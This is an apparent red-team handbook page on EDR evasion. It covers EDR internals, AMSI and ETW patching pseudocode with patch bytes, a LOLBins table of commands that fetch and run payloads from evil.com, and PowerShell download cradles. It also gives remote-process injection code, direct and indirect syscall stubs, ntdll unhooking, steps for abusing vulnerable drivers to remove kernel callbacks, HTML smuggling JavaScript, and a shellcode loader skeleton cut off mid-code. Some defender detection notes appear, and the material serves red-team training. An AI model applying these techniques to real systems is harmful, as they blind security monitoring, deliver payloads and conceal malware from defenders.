Stealth & Evasion Techniques
Stealth & Evasion Techniques
Modern red team operations live or die by their ability to evade detection. As endpoint detection and response (EDR) platforms have grown increasingly sophisticated — layering kernel callbacks, behavioral analytics, machine learning, and cloud-based telemetry — the craft of evasion has evolved from simple signature avoidance into a discipline that demands deep understanding of operating system internals, detection engineering, and adversary tradecraft. This page covers the full spectrum of stealth techniques, from understanding how EDRs work to building a complete evasion pipeline for red team engagements.
EDR Architecture
Before you can evade a detection system, you must understand how it sees. Modern EDR platforms are multi-layered sensor arrays that combine kernel-level visibility, userland instrumentation, and cloud-based analytics into a unified detection pipeline.
How Modern EDRs Work
graph TB
subgraph "Kernel Space"
KC["Kernel Callbacks<br/>(PsSetCreateProcessNotifyRoutine,<br/>PsSetCreateThreadNotifyRoutine,<br/>PsSetLoadImageNotifyRoutine)"]
MF["Minifilter Drivers<br/>(File I/O monitoring)"]
ETW_K["ETW Kernel Providers<br/>(Microsoft-Windows-Kernel-Process,<br/>Microsoft-Windows-Kernel-File)"]
OBJ["Object Callbacks<br/>(ObRegisterCallbacks)"]
end
subgraph "Userland"
HOOKS["Userland Hooks<br/>(ntdll.dll inline hooks)"]
AMSI_P["AMSI Provider<br/>(amsi.dll)"]
ETW_U["ETW User Providers<br/>(Threat Intelligence,<br/>.NET Runtime)"]
INJ["Injected DLLs<br/>(EDR sensor DLL)"]
end
subgraph "EDR Agent"
SVC["Agent Service<br/>(Collection & Filtering)"]
LOCAL["Local Detection Engine<br/>(Signatures, Heuristics,<br/>ML Model)"]
end
subgraph "Cloud Analytics"
CLOUD["Cloud Backend<br/>(Behavioral Analysis,<br/>Global Threat Intel,<br/>AI/ML Pipeline)"]
RESP["Response Actions<br/>(Isolate, Kill, Quarantine)"]
end
KC --> SVC
MF --> SVC
ETW_K --> SVC
OBJ --> SVC
HOOKS --> SVC
AMSI_P --> SVC
ETW_U --> SVC
INJ --> SVC
SVC --> LOCAL
LOCAL --> CLOUD
CLOUD --> RESP
style KC fill:#ff6b6b,color:#fff
style MF fill:#ff6b6b,color:#fff
style ETW_K fill:#ff6b6b,color:#fff
style OBJ fill:#ff6b6b,color:#fff
style HOOKS fill:#ffa07a,color:#000
style AMSI_P fill:#ffa07a,color:#000
style ETW_U fill:#ffa07a,color:#000
style INJ fill:#ffa07a,color:#000
style CLOUD fill:#4ecdc4,color:#000
Sensor Components
Kernel Callbacks are the backbone of EDR visibility. Windows provides notification routines that drivers can register to receive events:
- PsSetCreateProcessNotifyRoutine — Fires on every process creation and termination. The EDR sees the parent PID, image path, command line, and token information.
- PsSetCreateThreadNotifyRoutine — Fires on every thread creation. Cross-process thread creation (e.g.,
CreateRemoteThread) is a major signal for injection detection. - PsSetLoadImageNotifyRoutine — Fires when any image (DLL or EXE) is loaded into a process. The EDR tracks what modules are loaded and flags suspicious ones.
- ObRegisterCallbacks — Intercepts handle operations (
OpenProcess,OpenThread). The EDR can strip handle privileges (e.g., removePROCESS_VM_WRITEfrom handles tolsass.exe).
Minifilter Drivers attach to the file system stack and monitor all file I/O operations. This is how EDRs detect payloads being written to disk, monitor for ransomware-like behavior (mass file encryption), and scan files on creation or modification.
ETW Providers generate structured telemetry events. Key providers include:
- Microsoft-Windows-Kernel-Process — Process lifecycle events
- Microsoft-Windows-Kernel-File — File operations
- Microsoft-Windows-Threat-Intelligence — Protected process events (credential access, code injection)
- Microsoft-Windows-DotNETRuntime — .NET assembly loading, JIT compilation
Userland Hooks are inline patches applied to ntdll.dll functions within each process. The EDR’s injected DLL overwrites the first few bytes of functions like NtAllocateVirtualMemory, NtWriteVirtualMemory, and NtCreateThreadEx with a JMP instruction that redirects execution to the EDR’s inspection code. If the call looks benign, execution returns to the original function. If suspicious, the EDR logs or blocks it.
Behavioral Detection vs. Signature-Based
Signature-based detection matches known patterns — file hashes, byte sequences, YARA rules, known strings. It is fast but trivially bypassed by modifying the payload.
Behavioral detection analyzes chains of actions. No single API call is malicious, but the sequence VirtualAllocEx (RWX) followed by WriteProcessMemory followed by CreateRemoteThread targeting a remote process is a textbook injection pattern. Modern EDRs build behavioral trees from telemetry and apply rules and ML models to flag suspicious chains.
Cloud analytics adds global context. A binary seen for the first time across the entire customer base, executed from a Temp directory, making outbound connections to a newly registered domain — the cloud backend connects signals that no single endpoint could correlate alone.
EDR Bypass Strategies
There are three fundamental approaches to EDR evasion, each with different tradeoffs:
1. Blinding (Disable Telemetry)
Remove or cripple the EDR’s ability to collect data. If the sensor cannot see, it cannot detect.
Techniques:
- Patching ETW providers (
EtwEventWrite) to silently drop events - Unhooking
ntdll.dllto remove inline hooks - Killing the EDR agent process or service (requires high privileges)
- BYOVD to remove kernel callbacks
- Disabling AMSI via memory patching
When to use: When you have sufficient access and the environment’s monitoring of the EDR agent itself is limited. High risk — a sudden drop in telemetry is itself a detection signal. Best used surgically (patch specific providers rather than killing all telemetry).
2. Blending (Look Normal)
Make your actions indistinguishable from legitimate activity. Use trusted binaries, normal communication channels, and expected execution patterns.
Techniques:
- LOLBins for execution, download, and lateral movement
- Domain fronting or legitimate cloud services for C2
- Executing during business hours from expected source processes
- Using parent PID spoofing to create believable process trees
- Proxy execution through trusted applications
When to use: As a default strategy. Blending is the lowest-risk approach because it does not modify the EDR and does not create telemetry anomalies. It should be the foundation of every operation, supplemented by blinding and hiding as needed.
3. Hiding (Avoid Hooks)
Execute your code in a way that the EDR’s instrumentation never intercepts it. You are not disabling detection — you are going around it.
Techniques:
- Direct and indirect syscalls to bypass userland hooks
- Module stomping to avoid suspicious memory allocations
- Phantom DLL hollowing with backed memory sections
- Early bird injection before EDR hooks are established
- Hardware breakpoint-based syscall resolution
When to use: When you need to execute sensitive operations (credential dumping, injection) and cannot afford to blind the EDR. Syscalls and unhooking are the go-to for individual operations; early bird injection is powerful when you control process creation.
AMSI Bypass
What Is AMSI?
The Antimalware Scan Interface (AMSI) is a Windows API that allows applications to submit content to the registered antimalware provider for scanning. It was introduced in Windows 10 to address the “fileless malware” problem — scripts executed in memory that never touch disk.
AMSI integrates with:
- PowerShell — Every script block and command is scanned before execution
- VBScript/JScript — Windows Script Host submits scripts to AMSI
- Office VBA macros — Macro code is scanned at runtime
- .NET (4.8+) — Assembly.Load and similar calls trigger AMSI scanning
- JavaScript/WMI — Various Windows scripting engines
How AMSI Works
When a PowerShell script runs, the engine calls AmsiScanBuffer() (exported by amsi.dll) with the script content. The function passes the buffer to the registered AV/EDR provider, which scans it and returns a result: AMSI_RESULT_CLEAN, AMSI_RESULT_NOT_DETECTED, or AMSI_RESULT_DETECTED. If detected, PowerShell refuses to execute the script.
The critical function signature:
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer, // Content to scan
ULONG length, // Buffer length
LPCWSTR contentName, // Identifier
HAMSISESSION amsiSession,
AMSI_RESULT *result // OUT: scan result
);
Common Bypass Techniques
Memory Patching (Most Common)
Overwrite the first bytes of AmsiScanBuffer to force an immediate return of S_OK with AMSI_RESULT_CLEAN. This is the most reliable and widely used technique.
// Pseudocode — AMSI bypass via patching
// The goal: make AmsiScanBuffer return immediately with "clean" result
1. Get handle to amsi.dll (already loaded in PowerShell process)
hAmsi = GetModuleHandle("amsi.dll")
2. Resolve AmsiScanBuffer address
pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer")
3. Change memory protection to allow writing
VirtualProtect(pAmsiScanBuffer, 6, PAGE_READWRITE, &oldProtect)
4. Write patch bytes that force a clean return
// x64: mov eax, 0x80070057 (E_INVALIDARG) ; ret
// This makes the function return immediately with an error
// that PowerShell interprets as "no detection"
patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }
memcpy(pAmsiScanBuffer, patch, 6)
5. Restore memory protection
VirtualProtect(pAmsiScanBuffer, 6, oldProtect, &oldProtect)
Reflection-Based Bypass
Use .NET reflection to modify internal AMSI fields without directly calling Win32 APIs. For example, setting the amsiInitFailed field to true in the System.Management.Automation.AmsiUtils class causes PowerShell to skip AMSI scanning entirely.
String Obfuscation
Since AMSI scans script content, obfuscating strings can bypass signature-based AMSI rules. Techniques include string concatenation ("Am" + "si" + "Utils"), encoding, variable substitution, and tick-mark insertion in PowerShell (`A`m`s`i).
Constrained Language Mode (CLM) Bypass
CLM is often enforced alongside AMSI to restrict PowerShell to a safe subset. Bypassing CLM (e.g., via custom runspaces, PowerShell version downgrade, or InstallUtil.exe execution) can sometimes circumvent AMSI enforcement.
Detection of AMSI Bypasses
Defenders detect AMSI bypasses through:
- Monitoring for
VirtualProtectcalls targetingamsi.dllmemory regions - ETW events from the
Microsoft-Windows-AMSIprovider (ironic — the bypass must happen before AMSI is active, or the bypass attempt itself is scanned) - Behavioral rules: “PowerShell process patches amsi.dll” is a high-fidelity signal
- Script block logging (Event ID 4104) may capture the bypass code before AMSI is patched
ETW Patching
Event Tracing for Windows Architecture
ETW is the fundamental telemetry framework in Windows. It consists of three components:
- Providers — Generate events (e.g., kernel, .NET runtime, PowerShell)
- Controllers — Start/stop tracing sessions and configure providers
- Consumers — Read and process events (e.g., the EDR agent)
The critical function is EtwEventWrite (in ntdll.dll), which every provider calls to emit an event. If you patch this function to return immediately, no ETW events are generated from that process.
EtwEventWrite Patching
The technique mirrors AMSI patching — overwrite the function prologue to return early:
// Pseudocode — ETW blind via EtwEventWrite patch
1. Resolve ntdll!EtwEventWrite
pEtwEventWrite = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite")
2. Change protection
VirtualProtect(pEtwEventWrite, 1, PAGE_READWRITE, &oldProtect)
3. Patch first byte to RET (0xC3)
*pEtwEventWrite = 0xC3
4. Restore protection
VirtualProtect(pEtwEventWrite, 1, oldProtect, &oldProtect)
This single-byte patch silences all usermode ETW providers in the current process.
Threat Intelligence ETW Provider
The Microsoft-Windows-Threat-Intelligence ETW provider is special — it runs as a Protected Process Light (PPL) and provides high-fidelity events for:
- Cross-process memory operations (VirtualAllocEx, WriteProcessMemory)
- Suspicious handle access to sensitive processes
- Code injection indicators
This provider cannot be patched from userland because it runs in kernel space and is protected. Bypassing it requires either kernel-level access (BYOVD) or avoiding the operations it monitors entirely (direct syscalls from within the target process).
.NET ETW Providers
The Microsoft-Windows-DotNETRuntime provider emits events when .NET assemblies are loaded, JIT-compiled, and executed. This is how EDRs detect tools like Cobalt Strike’s execute-assembly, Rubeus, and Seatbelt — even though the assembly never touches disk, the .NET runtime announces its loading via ETW.
Patching EtwEventWrite before loading a .NET assembly in memory prevents these events from reaching the EDR. This is why most modern C2 frameworks (see C2 Frameworks) patch ETW as a standard pre-execution step.
Implications for Detection
ETW patching is a double-edged sword:
- For attackers: Eliminates a massive telemetry source with minimal code
- For defenders: The sudden absence of ETW events from a process is itself anomalous. A process that was generating .NET Runtime events and suddenly stops — that gap is detectable via correlation. Kernel-mode ETW consumers (like the Threat Intelligence provider) are unaffected by usermode patches.
LOLBins & LOLDrivers
Living Off the Land
“Living off the Land” refers to using legitimate, pre-installed, digitally signed binaries to perform malicious actions. Because these binaries are trusted by the OS and most security tools, they provide natural cover for adversary operations.
LOLBAS Project
The LOLBAS (Living Off the Land Binaries, Scripts, and Libraries) project catalogs Windows binaries that can be abused for:
- Execution — Running arbitrary code or commands
- Download — Fetching files from the internet
- Reconnaissance — Gathering system information
- Persistence — Surviving reboots
- UAC Bypass — Elevating privileges
- Credential Theft — Dumping or accessing credentials
Key LOLBins Reference
| Binary | Capability | Example Usage | MITRE Technique |
|---|---|---|---|
certutil.exe | Download, Encode/Decode | certutil -urlcache -split -f http://evil.com/payload.exe C:\Temp\payload.exe | T1105, T1140 |
mshta.exe | Execution (HTA/VBS/JS) | mshta http://evil.com/payload.hta | T1218.005 |
rundll32.exe | Proxy Execution | rundll32.exe javascript:"\..\mshtml,RunHTMLApplication"; | T1218.011 |
regsvr32.exe | Proxy Execution (SCT) | regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll | T1218.010 |
wmic.exe | Execution, Recon | wmic process call create "payload.exe" | T1047 |
msiexec.exe | Execution (MSI packages) | msiexec /q /i http://evil.com/payload.msi | T1218.007 |
bitsadmin.exe | Download | bitsadmin /transfer job /download /priority high http://evil.com/payload.exe C:\Temp\payload.exe | T1197 |
cmstp.exe | UAC Bypass, Execution | cmstp.exe /ni /s malicious.inf | T1218.003 |
msconfig.exe | UAC Bypass | Launching high-integrity process via trusted binary | T1548.002 |
InstallUtil.exe | Execution (.NET) | InstallUtil.exe /logfile= /LogToConsole=false /U malicious.dll | T1218.004 |
MSBuild.exe | Execution (.NET/C#) | MSBuild.exe malicious.csproj | T1127.001 |
forfiles.exe | Proxy Execution | forfiles /p C:\Windows\System32 /m notepad.exe /c "calc.exe" | T1202 |
Proxy Execution
Proxy execution is a specific LOLBin use case where a trusted binary is used to launch your payload. The parent process in process tree logs is the LOLBin (a signed Microsoft binary), not cmd.exe or powershell.exe. Common proxy execution chains:
explorer.exe→mshta.exe→ payloadsvchost.exe→msiexec.exe→ payloadwmiprvse.exe→ target (via WMI remote execution)
LOLDrivers Project
The LOLDrivers project catalogs legitimate, signed drivers with known vulnerabilities that can be exploited for kernel-level access. This directly feeds into BYOVD attacks (covered below). The project tracks driver hashes, vulnerable IOCTLs, and associated threat actors.
BYOVD (Bring Your Own Vulnerable Driver)
Concept
Bring Your Own Vulnerable Driver (BYOVD) leverages a legitimately signed but vulnerable kernel driver to gain kernel-level code execution. Because Windows requires drivers to be signed, attackers cannot simply load arbitrary kernel code. Instead, they load a signed driver with a known vulnerability (arbitrary read/write, code execution via IOCTL) and exploit it to perform privileged operations.
Known Vulnerable Drivers
Dell dbutil_2_3.sys (CVE-2021-21551)
- Provides arbitrary kernel memory read/write via IOCTL
- Signed by Dell, widely available
- Used extensively by threat actors for EDR disabling
MSI Afterburner (RTCore64.sys)
- Provides arbitrary physical memory read/write
- Signed by Micro-Star International
- Abused by BlackByte ransomware
Process Explorer (procexp152.sys)
- Legitimate Sysinternals driver
- Can terminate any process including PPL-protected ones
- Used by attackers to kill EDR agent processes
Intel Network Adapter Diagnostic Driver (iqvw64e.sys)
- Arbitrary memory mapping capabilities
- Used by Lazarus Group in multiple campaigns
Zemana Anti-Malware Driver (zam64.sys)
- Provides process termination capabilities
- Abused to kill security software
Attack Flow
- Drop the vulnerable driver to disk (often embedded in the payload or downloaded)
- Create and start a service to load the driver (
sc create,NtLoadDriver) - Exploit the vulnerability via IOCTL calls to achieve kernel read/write
- Perform the objective — typically one of:
- Remove kernel callbacks (EDR registration entries)
- Terminate protected processes (EDR agent)
- Disable DSE (Driver Signature Enforcement) to load unsigned drivers
- Read kernel memory (credential extraction)
- Clean up — Stop service, delete driver, remove registry keys
Kernel Callback Removal
The most impactful BYOVD objective is removing EDR kernel callbacks. Every EDR registers callbacks via PsSetCreateProcessNotifyRoutine and similar functions. These registrations are stored in kernel arrays. With arbitrary kernel read/write:
- Locate the callback arrays in kernel memory (e.g.,
PspCreateProcessNotifyRoutine) - Identify entries belonging to the EDR driver
- Zero them out or replace with no-op pointers
- The EDR’s kernel driver continues running but receives no notifications
This effectively blinds the EDR at the kernel level without killing any processes — a stealthier approach than process termination.
Real-World Use
- Lazarus Group — Used BYOVD (Dell dbutil, ene.sys) extensively in campaigns targeting aerospace and defense
- BlackByte Ransomware — Deployed RTCore64.sys to disable over 1,000 drivers associated with security products
- Cuba Ransomware — Used a vulnerable Avast driver to terminate AV/EDR processes
- AvosLocker — Leveraged the Avast driver for process termination
- Scattered Spider — BYOVD for EDR evasion during high-profile intrusions
Process Injection Techniques
Process injection is the act of executing code within the address space of another process. It provides stealth (your code runs inside a legitimate process), access to the target’s security context, and evasion of process-level security controls.
Techniques Comparison
| Technique | OPSEC Level | Complexity | Detection Risk | Notes |
|---|---|---|---|---|
| Classic Injection (VirtualAllocEx/WriteProcessMemory/CreateRemoteThread) | Low | Low | High | Every EDR detects this pattern |
| Process Hollowing | Medium | Medium | Medium-High | Suspicious unmapped/remapped sections |
| DLL Injection (LoadLibrary) | Low | Low | High | DLL on disk, LoadLibrary hook |
| Early Bird APC Injection | High | Medium | Low-Medium | Runs before EDR hooks are set |
| Module Stomping | High | High | Low | Code backed by legitimate DLL on disk |
| Thread Execution Hijacking | Medium | Medium | Medium | Suspicious thread context changes |
| Phantom DLL Hollowing | High | High | Low | Section-backed, no private RWX memory |
| Process Ghosting | High | High | Low | Deletes file before image section mapped |
| Process Doppelganging | High | High | Low | Uses NTFS transactions |
| Transacted Hollowing | High | High | Low | Combines hollowing and doppelganging |
Classic Injection
The textbook injection flow that every security professional should understand:
// Classic Remote Process Injection — Educational Pseudocode
// WARNING: This pattern is heavily monitored by all modern EDRs
// Step 1: Open target process with necessary access rights
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD,
FALSE,
targetPID
);
// Step 2: Allocate memory in the target process
LPVOID remoteBuffer = VirtualAllocEx(
hProcess,
NULL,
shellcodeSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE // Allocate as RW first, not RWX
);
// Step 3: Write shellcode to the allocated memory
WriteProcessMemory(
hProcess,
remoteBuffer,
shellcode,
shellcodeSize,
NULL
);
// Step 4: Change memory protection to executable
DWORD oldProtect;
VirtualProtectEx(
hProcess,
remoteBuffer,
shellcodeSize,
PAGE_EXECUTE_READ, // RX — avoid RWX
&oldProtect
);
// Step 5: Create remote thread to execute shellcode
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)remoteBuffer,
NULL,
0,
NULL
);
Why this is detected: The EDR sees the entire chain via userland hooks on every function, kernel callbacks for thread creation and handle operations, and the Threat Intelligence ETW provider.
Process Hollowing
Creates a suspended process, unmaps its legitimate image, maps the malicious image in its place, fixes up the PEB and thread context, and resumes. The process appears legitimate in task manager (right name, right path) but executes attacker code.
DLL Injection
Classic DLL injection writes the path of a malicious DLL into the target process memory, then creates a remote thread starting at LoadLibraryA. The target process loads the DLL, executing DllMain. Detected via LoadLibrary hooks and image load callbacks.
Early Bird APC Injection
- Create a process in a suspended state (
CreateProcesswithCREATE_SUSPENDED) - Allocate and write shellcode into the new process
- Queue an APC (Asynchronous Procedure Call) to the main thread
- Resume the process
The APC executes before the process’s main entry point — and critically, before the EDR’s userland hooks are installed. This gives the shellcode a window to operate in an unmonitored environment.
Module Stomping
Instead of allocating new private memory (which stands out in memory scans), load a legitimate DLL into the process and overwrite its .text section with shellcode. The memory region is:
- Backed by a legitimate file on disk (not private/anonymous)
- Marked as executable (normal for a .text section)
- Within a known DLL (does not appear as suspicious unbacked executable memory)
Thread Execution Hijacking
Suspend an existing thread in the target process, save its context, modify the instruction pointer (RIP/EIP) to point at your shellcode, and resume. No new thread is created, avoiding CreateRemoteThread detection. However, GetThreadContext/SetThreadContext calls are themselves monitored.
Phantom DLL Hollowing
An advanced technique that creates a section object from a legitimate DLL, maps it into the target process, and overwrites the mapped content. Because the section is backed by a file, the memory appears clean in scans that compare backed vs. unbacked executable regions. The phantom aspect involves using NtCreateSection with a deleted or transacted file to prevent disk-based verification.
Direct & Indirect Syscalls
Why Syscalls Matter
When your code calls a Windows API function like NtAllocateVirtualMemory, execution flows through:
- Your code →
kernel32.dll(orkernelbase.dll) kernel32.dll→ntdll.dllntdll.dll→ syscall instruction → kernel
EDRs place inline hooks at step 2-3, intercepting the ntdll.dll function before the syscall instruction. If you skip ntdll.dll entirely and issue the syscall instruction directly from your code, you bypass these hooks completely.
Direct Syscalls
Direct syscalls embed the syscall stub directly in your binary:
; x64 Direct Syscall Stub for NtAllocateVirtualMemory
; The syscall number (SSN) varies by Windows version
NtAllocateVirtualMemory PROC
mov r10, rcx ; Standard syscall calling convention
mov eax, 0x18 ; Syscall Service Number (example, version-dependent)
syscall ; Transition to kernel
ret
NtAllocateVirtualMemory ENDP
SysWhispers — The original tool that generated syscall stubs with hardcoded SSNs per Windows version. Required knowing the target OS version.
SysWhispers2 — Generates stubs that dynamically resolve SSNs at runtime by parsing the ntdll.dll export table and sorting by address (the SSN corresponds to the sort order of Zw* exports).
SysWhispers3 — Adds support for indirect syscalls, egg-hunting, and multiple output formats.
Indirect Syscalls
Direct syscalls have a problem: the syscall instruction executes from your module’s memory space, not from ntdll.dll. EDRs can detect this by checking the return address on the call stack — if a syscall returns to memory outside ntdll.dll, it is suspicious.
Indirect syscalls solve this by finding the syscall; ret gadget inside ntdll.dll and jumping to it:
// Indirect Syscall Flow (Pseudocode)
1. Resolve the target ntdll function address
2. Find the 'syscall' instruction within that function
(scan bytes for: 0x0F 0x05 — the syscall opcode)
3. Set up registers:
- mov r10, rcx
- mov eax, SSN
4. JMP to the syscall instruction inside ntdll.dll
(not CALL — avoid pushing return address)
// Result: The syscall instruction executes from ntdll.dll's
// memory range, making the call stack look legitimate
Hell’s Gate
Hell’s Gate dynamically resolves SSNs at runtime by reading the ntdll.dll function prologues in memory. Each Nt* function in ntdll starts with a predictable pattern:
mov r10, rcx
mov eax, <SSN> ; The SSN is embedded right here
...
syscall
ret
Hell’s Gate parses this pattern from the in-memory copy of ntdll.dll. If the EDR has hooked the function (overwritten the prologue with a JMP), the pattern will not match.
Halo’s Gate
Halo’s Gate extends Hell’s Gate to handle hooked functions. If the target function’s prologue is hooked (JMP instruction detected), it walks to neighboring functions (up and down in the export table) to find an unhooked one. Since SSNs are sequential, if the neighbor’s SSN is N, the target’s SSN is N+1 or N-1.
Tartarus Gate
Tartarus Gate further extends Halo’s Gate by handling scenarios where multiple consecutive functions are hooked. It walks further in both directions until an unhooked function is found, then calculates the target SSN from the offset.
Unhooking Techniques
If an EDR has placed inline hooks in ntdll.dll, you can restore the original (clean) bytes to remove the hooks. This is called “unhooking.”
Manual DLL Unhooking
The core idea: obtain a clean copy of ntdll.dll and overwrite the hooked in-memory copy.
Source 1: From Disk
Read C:\Windows\System32\ntdll.dll from disk, map its .text section, and overwrite the in-memory .text section. Simple and effective, but ReadFile on ntdll.dll may be monitored.
Source 2: From KnownDlls
Open \KnownDlls\ntdll.dll via NtOpenSection and map it. This avoids file system access and minifilter monitoring. The KnownDlls object directory contains pre-cached section objects for system DLLs.
Source 3: From a Suspended Process
Create a new suspended process (e.g., notepad.exe). Before the EDR injects its hooks, read ntdll.dll from the suspended process’s memory. Terminate the suspended process. This gives you a pristine copy of ntdll that the EDR has not yet touched.
Full vs. Selective Unhooking
Full unhooking replaces the entire .text section of ntdll.dll. This removes all hooks but is noisy — the EDR may detect that its hooks have been removed (some EDRs periodically verify their hooks).
Selective unhooking only restores specific functions you need to call (e.g., NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx). This is stealthier because most hooks remain intact.
Perun’s Fart
An advanced unhooking technique that:
- Creates a suspended process
- Reads the clean
ntdll.dllfrom the suspended process - Unhooks the current process’s
ntdll.dll - Performs the sensitive operation
- Re-applies the hooks (restores the EDR’s patches)
- Cleans up
By restoring hooks after the operation, the EDR’s periodic hook-integrity checks still pass. The window of unhooking is minimal.
Fileless Execution
Fileless techniques execute code entirely in memory, never writing a malicious file to disk. This bypasses file-based scanning (AV signatures, minifilter inspection) but not memory scanning or behavioral detection.
In-Memory .NET Execution (execute-assembly)
Cobalt Strike popularized execute-assembly, which loads a .NET assembly into a sacrificial process via Assembly.Load() from a byte array. The assembly exists only in memory. Many C2 frameworks now offer equivalent functionality (see C2 Frameworks).
Detection: The .NET CLR loads into the sacrificial process (visible via PsSetLoadImageNotifyRoutine), and ETW’s .NET Runtime provider logs the assembly loading. This is why ETW patching is a prerequisite.
PowerShell Download Cradles
Download and execute payloads without writing to disk:
# Common download cradles (for educational understanding)
# These are well-known and heavily signatured
# .NET WebClient
IEX (New-Object Net.WebClient).DownloadString('http://host/payload.ps1')
# Invoke-WebRequest
IEX (Invoke-WebRequest -Uri 'http://host/payload.ps1' -UseBasicParsing).Content
# .NET WebRequest
$wr = [Net.WebRequest]::Create('http://host/payload.ps1')
IEX ([IO.StreamReader]($wr.GetResponse().GetResponseStream())).ReadToEnd()
Reflective DLL Loading
Load a DLL entirely from memory without using LoadLibrary. The loader manually:
- Maps the PE headers and sections into memory
- Processes the relocation table
- Resolves imports
- Calls
DllMain
No file on disk, no LoadLibrary call, no image load callback from the standard path. Stephen Fewer’s original reflective DLL injection technique remains foundational.
Process Ghosting
- Create a temporary file and write the malicious payload to it
- Set the file to delete-pending state (
NtSetInformationFilewithFileDispositionInformation) - Create an image section from the file (
NtCreateSection) - Close the file handle (file is deleted)
- Create a process from the section (
NtCreateProcessEx) - The process runs, but its image file no longer exists on disk
When the EDR’s minifilter tries to scan the file backing the process, the file is already gone.
Process Doppelganging
Uses NTFS transactions to create an ephemeral version of a file:
- Create an NTFS transaction
- Within the transaction, create/overwrite a file with malicious content
- Create an image section from the transacted file
- Roll back the transaction (the file reverts or disappears)
- Create a process from the section
The malicious content never actually commits to disk.
Transacted Hollowing
Combines process hollowing with NTFS transactions — the hollow replacement comes from a transacted (rolled-back) file, providing the stealth benefits of both techniques.
HTML Smuggling
Technique Explanation
HTML smuggling constructs a malicious file entirely within the browser using JavaScript, bypassing network security controls (web proxies, email gateways, sandboxes) that inspect file downloads. The payload is embedded within the HTML page as encoded data and assembled client-side.
JavaScript Blob Construction
// Conceptual example — HTML smuggling payload delivery
// The encoded payload is embedded directly in the HTML page
// 1. Decoded/decrypted payload data (assembled client-side)
var data = atob("TVqQAAMAAAAEAAAA..."); // Base64-encoded payload
// 2. Convert to byte array
var bytes = new Uint8Array(data.length);
for (var i = 0; i < data.length; i++) {
bytes[i] = data.charCodeAt(i);
}
// 3. Create a Blob and trigger download
var blob = new Blob([bytes], {type: "application/octet-stream"});
var url = window.URL.createObjectURL(blob);
// 4. Auto-trigger download
var a = document.createElement("a");
a.href = url;
a.download = "report.iso"; // Filename presented to user
document.body.appendChild(a);
a.click();
Bypassing Web Proxies
Web proxies inspect file downloads by examining HTTP response bodies. With HTML smuggling:
- The HTTP response contains only HTML and JavaScript — nothing malicious
- The payload is assembled from encoded chunks within the JavaScript
- The browser creates the file locally via JavaScript
BlobAPI - No malicious file ever traverses the network
ISO/IMG Delivery
HTML smuggling commonly delivers .iso or .img container files because:
- ISO/IMG files auto-mount in Windows 10/11 as virtual drives
- Files inside the container bypass Mark-of-the-Web (MOTW) protections (prior to patches)
- The container can hold a LNK file (shortcut) that executes a hidden payload DLL
- This chain: Email → HTML page → JavaScript → ISO download → Mount → LNK → DLL execution
This technique was heavily used by threat actors like Qakbot, IcedID, and BumbleBee throughout 2022-2023, until Microsoft patched MOTW propagation into container files.
Payload Obfuscation
Encryption
Encrypting shellcode prevents signature matching. The payload is encrypted at build time and decrypted at runtime.
AES Encryption — Industry standard. The shellcode is AES-256 encrypted with a key embedded in (or fetched by) the loader. Strong encryption makes static analysis virtually impossible.
XOR Encryption — Simple single or multi-byte XOR. Easy to implement but also easy to brute-force for analysts. Useful as a lightweight layer in multi-stage encoding.
RC4 Encryption — Stream cipher that is simple to implement and produces output with no recognizable structure. Commonly used in malware due to its minimal code footprint.
Encoding Techniques
Base64 — Standard encoding that breaks byte-pattern signatures but is trivially detected and decoded.
UUID Encoding — Shellcode bytes are formatted as UUID strings ("e48348fc-e8f0-00c0-0000-415141505256"). The loader converts UUIDs back to bytes at runtime. This format passes through many string-based scans.
IPv4 Format — Shellcode bytes are encoded as IP addresses ("252.72.131.228"). Four bytes per “address.” Similar evasion properties to UUID encoding.
MAC Address Format — Six bytes per entry formatted as MAC addresses. Another format that evades byte-pattern scanners.
String Obfuscation
Hardcoded strings like "VirtualAlloc", "CreateRemoteThread", or API hashes are key indicators. Techniques:
- Compile-time hashing — Replace string comparisons with hash comparisons (e.g., DJB2, CRC32 hashes of API names)
- Stack strings — Build strings character by character on the stack at runtime
- Encrypted string tables — Store all strings encrypted, decrypt at point of use
Control Flow Obfuscation
- Opaque predicates — Insert conditional branches that always evaluate the same way but are difficult for static analysis to resolve
- Instruction substitution — Replace simple instructions with equivalent complex sequences
- Control flow flattening — Convert structured control flow into a state machine (switch-based dispatch)
- Junk code insertion — Add dead code that does nothing but changes the binary’s signature
Packing and Crypters
Packers compress and encrypt the payload, providing a small stub that decompresses/decrypts at runtime. UPX is the most well-known but is trivially detected. Custom packers are essential.
Crypters specifically focus on encryption and obfuscation to render the payload undetectable. They often include features like:
- Anti-debugging checks
- Anti-VM/sandbox detection
- Delayed execution (sleep to bypass sandbox time limits)
- Environment keying (only decrypt if specific conditions are met)
Shellcode Loaders
A shellcode loader is responsible for decrypting and executing shellcode in memory. A basic skeleton:
// Basic Shellcode Loader Skeleton (C) — Educational Reference
// A real loader would add syscalls, unhooking, and obfuscation
#include <windows.h>
// Encrypted shellcode (AES-256 encrypted at build time)
unsigned char encryptedShellcode[] = { /* ... encrypted bytes ... */ };
unsigned char aesKey[] = { /* ... 32-byte key ... */ };
unsigned char aesIV[] = { /* ... 16-byte IV ... */ };
// AES decryption function (using BCrypt or custom implementation)
void DecryptAES(unsigned char* data, DWORD dataLen,
unsigned char* key, unsigned char* iv,
unsigned char* output, DWORD* outputLen);
int main() {
DWORD shellcodeLen = 0;
unsigned char shellcode[sizeof(encryptedShellcode)];
// Step 1: Decrypt shellcode
DecryptAES(encryptedShellcode, sizeof(encryptedShellcode),
aesKey, aesIV, shellcode, &shellcodeLen);
// Step 2: Allocate RW memory
LPVOID execMem = VirtualAlloc(
NULL, shellcodeLen,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
// Step 3: Copy shellcode to allocated memory
memcpy(execMem, shellcode, shellcodeLen);
// Step 4: Change protection to RX (never use RWX)
DWORD oldProtect;
VirtualProtect(execMem, shellcodeLen,
PAGE_EXECUTE_READ, &oldProtect);
// Step 5: Execute via function pointer
